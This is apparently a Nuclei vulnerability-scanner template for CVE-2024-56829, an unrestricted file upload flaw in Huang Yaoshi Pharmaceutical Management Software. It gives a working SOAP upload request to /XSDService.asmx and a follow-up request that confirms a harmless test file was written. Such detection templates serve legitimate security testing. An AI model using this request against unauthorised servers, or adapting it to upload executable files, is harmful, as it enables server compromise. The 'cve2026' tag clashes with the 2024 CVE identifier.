Huang Yaoshi Pharmaceutical Management Software - Unrestricted File Upload

id: CVE-2024-56829

info:
  name: Huang Yaoshi Pharmaceutical Management Software - Unrestricted File Upload
  author: kosoyyagent
  severity: critical
  description: |
    Huang Yaoshi Pharmaceutical Management Software up to 16.0 contains an unrestricted file upload caused by accepting .asp filenames in the UploadFile element of a SOAP request to /XSDService.asmx, letting attackers upload arbitrary files, exploit requires sending a crafted SOAP request.
  impact: |
    Attackers can upload arbitrary files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version or apply security patches that restrict file types and validate file uploads.
  reference:
    - https://github.com/advisories/GHSA-66fj-74pq-7rwx
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56829
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-56829
    epss-score: 0.00583
    epss-percentile: 0.47599
    cwe-id: CWE-434
  metadata:
    max-request: 1
    vendor: huangyaoshi
    product: huang_yaoshi
  tags: cve,cve2026,huang_yaoshi,fileupload,rce,aspx,intrusive,vuln

variables:
  filename: '{{rand_base(8)}}.txt'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /XSDService.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://tempuri.org/UploadFile"

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <UploadFile xmlns="http://tempuri.org/">
              <filePath></filePath>
              <fileName>{{filename}}</fileName>
              <buffer>aGVsbG8gd29ybGQ=</buffer>
              <Offset>1111</Offset>
            </UploadFile>
          </soap:Body>
        </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<?xml'
          - 'UploadFileResult'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /Upload2015/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'hello world'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a73a20086ad5278e313274aa13b642f4363d3a3fa017a41e6481fc94233fb9ea0220097eef3ac5806308b01c35694af3b8be5a0584e9e33a59d10cd73931b2924161:922c64590222798bb761d5b6d8e72950